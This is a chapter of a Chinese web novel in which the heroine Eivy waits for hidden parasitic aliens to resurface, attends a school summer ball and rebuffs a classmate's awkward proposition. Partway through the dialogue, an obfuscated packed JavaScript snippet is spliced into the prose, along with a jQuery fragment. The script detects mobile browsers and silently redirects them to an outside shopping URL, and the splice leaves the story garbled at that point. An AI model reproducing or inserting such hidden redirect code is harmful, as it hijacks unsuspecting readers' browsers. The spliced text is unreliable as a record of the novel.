49. 第 49 章
作品:《作为虫母的她》 尽管已经决定和卡尔详谈,可能还会接受他的条件。但一时半刻之间,艾薇竟找不到卡尔的踪迹。他连同近百名被寄生的学生,全部隐蔽起来,藏在不知名的角落里,让人寻不到痕迹。
学校的排查变得更加严格,好在这几天里,再没有其他学生失踪或表现出异常。
艾薇只能暂且相信卡尔的话,但人类并没有坐以待毙,外星生命专家团正在拉网似的排查,期望在“正式谈判”之前,率先找到卡特尔生命的踪迹,不至于完全落入被动。
但几天的努力过后,却是一无所获。
虫族长于战斗,隐蔽与侦察同样是个中高手,但或许卡特尔有着独特的隐蔽方式,即便是敏锐强悍、无往不利的虫族,也暂时无法窥破他们的行踪。
“或许它们正躺在某个臭水沟里,与污水为伴,不敢露面呢。”维斯佩拉不屑道。
的确,如果化作一滩血液,完全隐蔽起来,那么地球上可供藏身的地方,实在太多了。下水道、缝隙中、森林里,无数不起眼的角落可以容纳污浊的、红色的液体,而不引人注目。
即便二区立刻展开清扫,布局全域监控,依旧收效甚微。只有一次,他们发现了自主流淌的血液,但还没有来得及上报,对方便淌入沟渠中,再也看不见了。
艾薇明白,这是卡尔隐晦的示威。正如人类有虫族作为依仗,即便开战也有对抗之力,卡尔也在告诉他们,卡特尔并不是任人拿捏、束手就擒的种族,他们仍有抗争的余地。
只有彼此都有顾虑,不希望扩大伤亡,谈判才有可能平等地开展。
艾薇只好耐心等待。这种时候,越是自乱阵脚,越可能给敌人可趁之机。这样看来,比起虫潮的武力压迫、无计可施,卡特尔至少还有对话和商量的余地。
艾薇其实不是很慌张,她明白,她担负不起地球的命运,只是恰逢其会,尽一份力而已。地球当局可能依仗虫族,却不会天真地将挽救人类命运的希望,寄托在一个女生身上。
艾薇回到正常的学习中,一如既往,平静无波。
不论遇到怎样的挫折和混乱,生活总要继续。
转眼之间,仲夏舞会要开始了。令人意外地,学校并没有叫停集体活动,课程与聚会仍在有条不紊地进行。似乎所有人都认为,最近的普查不过是官方开展的专项行动,没有什么特殊的意义。
只有少数消息灵通的人,听到了似是而非的信息,却都谨慎地保持着沉默。
艾薇的手机收到了一条匿名信息,不知道发件人是谁,但内容是:请小心血液及类似的事物,如果见到立刻离开,不要碰触。它们很危险。
这是一条预警,显然出自人类之手。
艾薇回复:你是谁?
对方没有回答。
她只能道:谢谢。
周末,校园舞会开启,空气里漾满欢声笑语。夏日的晴空澄澈透亮,金阳肆意铺满花木建筑,香樟枝叶繁茂,投下斑驳树影,微风掠过树梢,蝉鸣此起彼伏,空气里裹着青草与繁花的清甜,满眼盛放明媚。
卡森城堡是一座雕梁画栋、气势恢宏的古堡,砖石垒砌的白墙温润厚实,尖顶塔楼直刺云天,浮雕廊柱镂刻繁复花纹,飞檐穹顶鎏金缀玉,尽显典雅堂皇。
户外花园满目生机,暖阳倾洒下来,草木长得郁郁葱葱。各色鲜花热烈盛放,姹紫嫣红缀满枝头。清风掠过花丛,暗香浮动,蝶影翩跹。花园与城堡内遍布参加舞会的学生,他们身着典雅美丽的礼服,画着精致漂亮的妆容,觥筹交错,笑声如铃。
盛夏的灿烂与青春的气息交融,热烈明媚。
中央温度调控器全速运转,在夏日的午后营造出适宜的温度,既不炎热,也不寒冷。即便在骄阳毒辣的室外,也只会感到阳光温暖,安乐闲适。
艾薇踏入卡森花园。
维斯佩拉亲自为她挑选礼服,搭配饰品。他依旧是古典奢丽的审美,偏爱华贵的宝石和繁复的工艺,似乎所用物料越稀有,所费精力越繁耗,它就越珍贵。
礼裙贴身漂亮,并不过分夸张,却尽显细节精致。暗纹织金的薄纱面料自带柔光,鱼骨收腰勾出玲珑曲线,裙摆层层纱幔堆叠,褶皱精致,刺绣繁复,做工考究。她的颈间佩戴着鸽血红宝石项链,配以镂空雕花宝石手镯、珞璃攒花戒指,宝光与衣裙交相辉映,举重若轻,奢贵内敛。
卡森花园静了片刻,所有人都看向艾薇,看她轻盈地穿过人群,来到嵌花玻璃窗边,坐在秋千上,然后目光微微放空,似乎在发呆。
“她怎么这么平静?那天的事情……”
“既不肯定,也不否认,置之不理呢。”
“我听说卡尔已经不在了,可能是退学了,或者去了别处。应该是惹恼了她。”
隐秘的窃窃私语中,奥利弗昂首阔步,穿过其他同学,在众目睽睽下走到艾薇身边,坐了下来。他穿着墨绿色的西装,剪裁利落,修身劲瘦,戗驳领上簪了一支红宝石玫瑰胸针,头发打理得富有层次,乌黑的碎发垂落在额前,衬着他年少俊锐的容颜,显得青春蓬勃,干净帅气。
他坐在另一边的秋千上,西装折出柔和的褶皱,布料在阳光下闪着暗光。他侧过脸,看了看艾薇,脸庞微微红了,“你今天……”他收回目光,有些不自在地说,“挺漂亮的。”
艾薇没有反应,仿佛是在出神。
奥利弗抿了抿唇,不悦地提高声音,“喂!我在和你说话呢。”
艾薇这才收回目光,平静地问:“你有什么事情吗?”她的目光很幽静,像一泓深邃的湖水,波光粼粼,仿佛藏着隐秘的心事。
奥利弗被那双眼睛吸引住了,怔怔地看了片刻,才恍惚回神,慌乱地移开目光,脸颊与脖颈瞬间红透了。
“我、那天……”他吞咽一下唾沫,勉强镇定道,“我都看到了。”
“什么?”艾薇漫不经心地问。
“就是,那人跪你的事情,”奥利弗放轻声音,仿佛怕别人听到他们的谈话,“原来你喜欢这种……他、他们,都是你的……那个吗?”
他吞吞吐吐,面红耳赤,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574733|202354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音仿佛是从喉咙中挤出来的,显得很羞赧。
艾薇没有说话,也不想解释。这背后的故事太复杂曲折,奥利弗惯来高傲,只相信自己愿意相信的事情,解释也是白费口舌。
奥利弗瞥她一眼,目光触电似的躲开,低声说:“那天检查完,我本来就想和你说的,但又发生了那件事,你一直没回来……我其实、其实想问……”
奥利弗犹豫片刻,深吸口气,才极小声地、小心翼翼地问:“你、你想要……那个,别的、别的狗吗?”
艾薇怔了两秒,才听清他说了什么,但却没有明白他的意思,“什么?”
“你不要明知故问,”奥利弗红着脸庞,眼神躲闪,嘟囔道,“你分明知道我在说什么……我听说你们这类人,身边都有很多狗的,看自己的心情宠幸……那几个男人,都是你的伴儿吧……”
“整天和他们在一起,你不觉得厌倦吗?”奥利弗期期艾艾地看着他,目光里竟有闪烁的期待,“他们年纪都比你大,虽然长得好看,但贪图新鲜……也是人之常情吧。”
“就连那个蓝领带,那么平凡卑贱,其貌不扬,你都愿意……”奥利弗克制着内心的躁动与瘙痒,小声问,“我又不比他差,想要一个机会,也不难吧?”
艾薇茫然地看着他,仿佛反应不过来。
“我会很听话的,”奥利弗磕磕绊绊地说,整个人都红透了,衬衫下的脊背渗出汗意,“我不需要继续家业,家里人也不经常管我,我可以决定自己的事情,你想做的事情……我也都能做。”
“但、但是!”奥利弗似乎想到了什么,立刻强调道,“你不能让我在那么多人面前……跪下,那太丢人了,我、我做不来……顶多、顶多和你在一起的时候……喂!你那是什么表情!”
艾薇仿佛还在梦中,匪夷所思地看着奥利弗,“……你疯了吗?”
但这一次,奥利弗竟然没有反驳。他看着艾薇,嗫嚅道,“你就当我是疯了吧……反正我早就不是自己了,见到你之后,我就……”
曾经的骄傲、自矜,那些居高临下的不屑,故作矜持的试探,贯穿脊梁的傲骨,睥睨桀骜的灵魂,在她面前早已碎成一地瓦砾,还有什么坚持的必要呢。
“反正……”他不敢再看艾薇,口中逞强道,“你就说答不答应就是了。”
他的心脏砰砰跳动起来,脸颊滚烫,手心却是凉的,十分紧张。
然后,他听到艾薇说:“我没有那种爱好。”
奥利弗霍然瞪大眼睛,大声道:“怎么可能!你不要把我当傻子,他们分明……!”
他的话还没说完,便戛然而止。
有人穿过人群,向他们走来。他穿着材质低劣的校服,五官平庸,面目模糊,平凡到随处可见,脚步却清晰而坚定,一步步向艾薇走来。
“艾薇同学。”他站在他们面前,弯起眼睛,笑了起来。
奥利弗的心情立刻变坏了,他恶声恶气,怒声道:“怎么又是你,蓝领带!你专门坏人的事情是不是?!滚!”

